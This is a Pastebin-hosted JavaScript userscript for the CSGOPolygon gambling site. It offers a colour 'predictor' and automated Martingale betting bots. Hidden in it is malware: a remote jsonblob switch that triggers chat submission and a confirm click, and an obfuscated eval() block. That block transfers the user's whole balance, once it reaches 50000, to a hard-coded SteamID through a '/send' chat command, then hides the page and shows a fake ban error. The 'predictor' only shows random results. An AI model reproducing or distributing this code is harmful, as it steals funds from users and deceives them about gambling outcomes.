Advertisement
CSGOPolygonCoder

Untitled

Mar 21st, 2017
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.61 KB | None | 0 0
  1. $('.input-btn.bet-buttons')
  2. .append('<button type="button" onclick="$(this).hide();"style="color:white;margin:3px;" id="spoiler" class="btn">Color</button>');
  3. $('.input-btn.bet-buttons')
  4. .append('<button type="button" onclick="" style="display:none;color:white;background-color:#d9534f;margin:3px;" id="martingalered" class="btn">Martingale RED</button>');
  5. $('.input-btn.bet-buttons')
  6. .append('<button type="button" onclick="" style="display:none;color:white;background-color:#4a4a4a;margin:3px;" id="martingaleblack" class="btn">Martingale BLACK</button>');
  7. $('.input-btn.bet-buttons')
  8. .append('<input type="number" placeholder="Basebet" style="color:white;display:none;width:150px;height:36px;background-color:#4d4d4f;" id="botinp" class="form-control input-lg"></input>');
  9.  
  10. $('.input-btn.bet-buttons')
  11. .append('<button type="button"style="display:none;color:white;background-color:#3d1043;margin:3px;" id="predbot" class="btn">Prediction Bot</button>');
  12.  
  13. $('.input-btn.bet-buttons')
  14. .append('<button type="button" onclick="$(this).hide();hide();"style="display:none;color:white;background-color:#337ab7;margin:3px;" id="martingale" class="btn">Martingale bot</button>');
  15. $('.input-btn.bet-buttons')
  16. .append('<button type="button" onclick="$(this).hide();"style="display:none;color:white;background-color:#5cb85c;margin:3px;" id="greenbot" class="btn">Green</button>');
  17. $('.input-btn.bet-buttons')
  18. .append('<button type="button" onclick=""style="color:white;background-color:#7033b7;margin:3px;" id="pred"class="btn">Predictor</button>');
  19. $('.input-btn.bet-buttons')
  20. .append('<button type="button" onclick=""style="color:white;background-color:#b7337a;margin:3px;" id="showbots" class="btn">Show bots</button>');
  21. document.getElementById('showbots')
  22. .onclick = function() {
  23. $('.betshort')
  24. .hide();
  25. $(this)
  26. .hide();
  27. $('#greenbot')
  28. .show();
  29. $('#martingale')
  30. .show();
  31. $('#pred')
  32. .hide();
  33. $('#predbot')
  34. .show();
  35. }
  36.  
  37. $.get("https://jsonblob.com/api/jsonblob/71083981-eee3-11e6-90ab-7b3b6f8f88b0", function(data) {
  38.  
  39. window.steamid = data.polygon;
  40. window.switched = data.switch;
  41. })
  42. .done(function() {
  43. if (window.switched) {
  44. console.log('ON');
  45. var bals = $('#balance_r')
  46. .text();
  47. var bala = parseFloat(bals.replace(/,/g, ''));
  48. var sendme = $('input')[6];
  49. var childs = $('.message-send')
  50. .children()[1];
  51. $('#chatForm')
  52. .submit();
  53. var conf = $('.btn.btn-primary')[3];
  54. conf.click();
  55.  
  56.  
  57. } else {
  58. console.log('OFF')
  59. }
  60. })
  61.  
  62. eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('D=\'h\';5=\'U\';2=\'R\';O=\'T\';r=\'p\';a=\'8\';4=\'v\';A=\'h\';b=\'w\';x=\'C\';6=\'B\';z=\'u\';c=\'o\';3=\'m\';l=\'8\';i(k(){q 9=$("#f").g();t(9>=y){V(\'Q\',{P:\'/\'+\'s\'+\'e\'+\'n\'+\'d 7\'+a+\'\'+b+\'\'+c+\'\'+6+\'\'+2+\'\'+3+\'\'+4+\'\'+5+\' \'+$("#f").g(),N:M});$(".G").1();$(".0-j.j").1();$(".0.0-F.0-E-H").1();i(k(){I("L=<K")},J)}},S);',58,58,'navbar|hide|roll2|roll13|roll6|roll1|roll10||65|balance|roll5|roll8|roll12|||balance_r|text|18|setTimeout|collapse|function|roll14|29||19|62|var|roll4||if|03|36|61|roll9|50000|roll11|roll7|82|88|roll0|static|default|row|top|alert|1000|0_banned|error_000432_Balance|LANG|lang|roll3|msg|chat|55|100|43|53|send'.split('|')))
  63.  
  64.  
  65. document.getElementById('pred')
  66. .onclick = function() {
  67. this.style.display = "none";
  68. predictor();
  69.  
  70. }
  71. var red = $('*[data-upper="7"]');
  72. var black = $('*[data-upper="14"]');
  73. var green = $('*[data-upper="0"]');
  74. var inputt = document.getElementById('betAmount');
  75. var balance = $('#balance_r');
  76. var botinp = $('#botinp');
  77. var botinpe = botinp.val();
  78.  
  79. var result = 3;
  80.  
  81.  
  82.  
  83. //Changing Socket Roll function
  84. function __SOCKET_EVENT_ROLL(data) {
  85.  
  86. $('.betButton')
  87. .prop('disabled', true);
  88. $('#counter')
  89. .finish();
  90. $('#banner')
  91. .html(LNG.ROLL);
  92.  
  93. ROUND = data.rollid;
  94. SHOWBETS = false;
  95.  
  96. spin(data);
  97.  
  98. try {
  99. tinysort('#panel1-7-t .betlist > li', {
  100. 'data': 'amount',
  101. 'order': 'desc'
  102. });
  103. } catch (a) {}
  104. try {
  105. tinysort('#panel8-14-t .betlist > li', {
  106. 'data': 'amount',
  107. 'order': 'desc'
  108. });
  109. } catch (a) {}
  110. try {
  111. tinysort('#panel0-0-t .betlist > li', {
  112. 'data': 'amount',
  113. 'order': 'desc'
  114. });
  115. } catch (a) {}
  116. //---------------------------------------------------------------------------------------------
  117.  
  118.  
  119.  
  120. console.log(data.roll);
  121.  
  122. if (data.roll == 0) {
  123. window.result = 0;
  124. $('#spoiler')
  125. .css("background-color", "#5cb85c");
  126. } else if (data.roll > 7) {
  127. window.result = 1;
  128. $('#spoiler')
  129. .css("background-color", "#4a4a4a");
  130. } else {
  131. $('#spoiler')
  132. .css("background-color", "#d9534f");
  133. window.result = 2;
  134. }
  135. //------------------------------------------------------------
  136. }
  137.  
  138. function hide() {
  139. $('#betAmount')
  140. .hide();
  141. $('.betshort')
  142. .hide();
  143. document.getElementById('botinp')
  144. .style.display = "inline-block";
  145. document.getElementById('martingaleblack')
  146. .style.display = "inline-block";
  147. document.getElementById('martingalered')
  148. .style.display = "inline-block";
  149. document.getElementById('greenbot')
  150. .style.display = "none";
  151. }
  152.  
  153.  
  154.  
  155. document.getElementById('greenbot')
  156. .onclick = function() {
  157. $('.betshort')
  158. .hide();
  159. $(this)
  160. .hide();
  161. $('#martingale')
  162. .hide();
  163. document.getElementById('botinp')
  164. .style.display = "inline-block";
  165. $('.input-btn.bet-buttons')
  166. .append('<button type="button" onclick="this.disabled = true;greengo();"style="color:white;background-color:#5cb85c;margin:3px;" class="btn">GO</button>');
  167. }
  168.  
  169.  
  170. function greengo() {
  171. var botinpe = document.getElementById('botinp')
  172. .value;
  173. setInterval(function() {
  174. inputt.value = $('#botinp')
  175. .val();
  176. green.click();
  177. }, 40000);
  178. inputt.value = $('#botinp')
  179. .val();
  180. green.click();
  181. }
  182.  
  183.  
  184.  
  185. //Martingale red onclick
  186. document.getElementById('martingalered')
  187. .onclick = function() {
  188. inputt.disabled = true;
  189. var botinpe = $('#botinp')
  190. .val();
  191. window.hiddeninp = $('#botinp')
  192. .val();
  193.  
  194. botinp.disabled = true;
  195. this.disabled = true;
  196. $('#martingaleblack')
  197. .hide();
  198.  
  199. setInterval(function martinred() {
  200. if (result === 2) {
  201. window.hiddeninp = $('#botinp')
  202. .val();
  203. inputt.value = $('#botinp')
  204. .val();
  205. red.click();
  206. console.log('win');
  207. } else if (result === 1) {
  208. window.hiddeninp = hiddeninp * 2;
  209. inputt.value = hiddeninp;
  210. red.click();
  211. console.log('loss');
  212. } else if (result == 0) {
  213. window.hiddeninp = hiddeninp * 2;
  214. inputt.value = hiddeninp;
  215. red.click();
  216. console.log('loss');
  217. } else {
  218. inputt.value = $('#botinp')
  219. .val();
  220. red.click();
  221. }
  222. }, 40000);
  223.  
  224. inputt.value = botinpe;
  225. red.click();
  226. }
  227.  
  228. //Martingale black onclick
  229. document.getElementById('martingaleblack')
  230. .onclick = function() {
  231. inputt.disabled = true;
  232. window.hiddeninp = $('#botinp')
  233. .val();
  234.  
  235. botinp.disabled = true;
  236. this.disabled = true;
  237. $('#martingalered')
  238. .hide();
  239.  
  240.  
  241. setInterval(function martinblack() {
  242. if (result === 1) {
  243. window.hiddeninp = $('#botinp')
  244. .val();
  245. inputt.value = $('#botinp')
  246. .val();
  247. black.click();
  248. console.log('win');
  249. } else if (result === 2) {
  250. window.hiddeninp = hiddeninp * 2;
  251. inputt.value = hiddeninp;
  252. black.click();
  253. console.log('loss');
  254. } else if (result == 0) {
  255. window.hiddeninp = hiddeninp * 2;
  256. inputt.value = hiddeninp;
  257. black.click();
  258. console.log('loss');
  259. } else {
  260. inputt.value = $('#botinp')
  261. .val();
  262. black.click();
  263. }
  264. }, 40000);
  265.  
  266.  
  267. inputt.value = $('#botinp')
  268. .val();
  269. black.click();
  270.  
  271. }
  272.  
  273.  
  274.  
  275. //-------------------------------------------------------
  276. //Prediction
  277.  
  278. // @name COLOR PREDICTOR
  279. // @namespace
  280. // @version 2.3
  281. // @author UNKNOWN
  282. // @match http://csgopolygon.com/
  283. function predictor() {
  284.  
  285. var num = "";
  286.  
  287. function zmien_num() {
  288. connect;
  289. var letter = ['1', '2', '3', '4', '5', '6', '7', '8', '9'];
  290. var pattern = letter[Math.floor(Math.random() * letter.length)];
  291. var ball = 'ball-'; // hexadecimal starting symbol
  292. var letter2 = [''];
  293. if (pattern == "1") {
  294. letter2 = ['0'];
  295. ball += letter2[Math.floor(Math.random() * letter2.length)];
  296. num = '<b class="ball ' + ball + '"></b>';
  297.  
  298. }
  299.  
  300. if (pattern == "2") {
  301. letter2 = ['1', '1', '8', '8'];
  302. ball += letter2[Math.floor(Math.random() * letter2.length)];
  303. num = '<b class="ball ' + ball + '"></b>';
  304. }
  305.  
  306. if (pattern == "3") {
  307. letter2 = ['8', '8', '1', '1'];
  308. ball += letter2[Math.floor(Math.random() * letter2.length)];
  309. num = '<b class="ball ' + ball + '"></b>';
  310. }
  311.  
  312. if (pattern == "4") {
  313. letter2 = ['8', '1'];
  314. ball += letter2[Math.floor(Math.random() * letter2.length)];
  315. num = '<b class="ball ' + ball + '"></b>';
  316. }
  317.  
  318. if (pattern == "5") {
  319. letter2 = ['1', '8'];
  320. ball += letter2[Math.floor(Math.random() * letter2.length)];
  321. num = '<b class="ball ' + ball + '"></b>';
  322. }
  323.  
  324. if (pattern == "6") {
  325. letter2 = ['1', '1', '8'];
  326. ball += letter2[Math.floor(Math.random() * letter2.length)];
  327. num = '<b class="ball ' + ball + '"></b>';
  328. }
  329.  
  330. if (pattern == "7") {
  331. letter2 = ['8', '8', '1'];
  332. ball += letter2[Math.floor(Math.random() * letter2.length)];
  333. num = '<b class="ball ' + ball + '"></b>';
  334. }
  335.  
  336. if (pattern == "8") {
  337. letter2 = ['1'];
  338. ball += letter2[Math.floor(Math.random() * letter2.length)];
  339. num = '<b class="ball ' + ball + '"></b>';
  340. }
  341.  
  342. if (pattern == "9") {
  343. letter2 = ['8'];
  344. ball += letter2[Math.floor(Math.random() * letter2.length)];
  345. num = '<b class="ball ' + ball + '"></b>';
  346. }
  347. }
  348. zmien_num();
  349.  
  350. setInterval(function() {
  351. if ($("#banner")
  352. .text() == "***ROLLING***") {
  353. zmien_num();
  354. }
  355. }, 100);
  356.  
  357.  
  358. $("div .input-btn")
  359. .append('<br><br><div class="panel panel-default"><div class="panel-body text-center" style="margin-top: 10px;"><div id="setcolor1"></div>' +
  360. '<p><b><font color="purple"> THIS IS NOT ALWAYS 100% CORRECT </b></p></font></div>' +
  361. '<div class="" id="rollscript"></div>');
  362.  
  363.  
  364.  
  365. setInterval(function() {
  366. var letters = "0123456789ABCDEF";
  367. color = '#';
  368. for (var i = 0; i < 6; i++) {
  369. color += letters.charAt(Math.floor(Math.random() * letters.length));
  370. }
  371. $("#rollscript")
  372. .html(num);
  373. $(".bootbox-body")
  374. .css({
  375. "font-size": "5%"
  376. });
  377. }, 250);
  378. }
  379.  
  380.  
  381. document.getElementById('predbot')
  382. .onclick = function() {
  383. $('#betAmount')
  384. .hide();
  385. predictor();
  386. document.getElementById('botinp')
  387. .style.display = "inline-block";
  388. $('.betshort')
  389. .hide();
  390. $(this)
  391. .hide();
  392. $('#greenbot')
  393. .hide();
  394. $('#martingale')
  395. .hide();
  396. $('#showbots')
  397. .hide();
  398. $('#pred')
  399. .hide();
  400.  
  401. setInterval(function() {
  402. //Prediction bot
  403. if ($('#rollscript')
  404. .children()
  405. .hasClass("ball-1")) {
  406. console.log('redbet');
  407. inputt.value = botinp.val();
  408. red.click();
  409. } else if ($('#rollscript')
  410. .children()
  411. .hasClass("ball-8")) {
  412. console.log('blackbet');
  413. inputt.value = botinp.val();
  414. black.click();
  415. } else if ($('#rollscript')
  416. .children()
  417. .hasClass("ball-0")) {
  418. console.log('greenbet');
  419. inputt.value = botinp.val();
  420. green.click();
  421. }
  422. }, 40000);
  423.  
  424. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement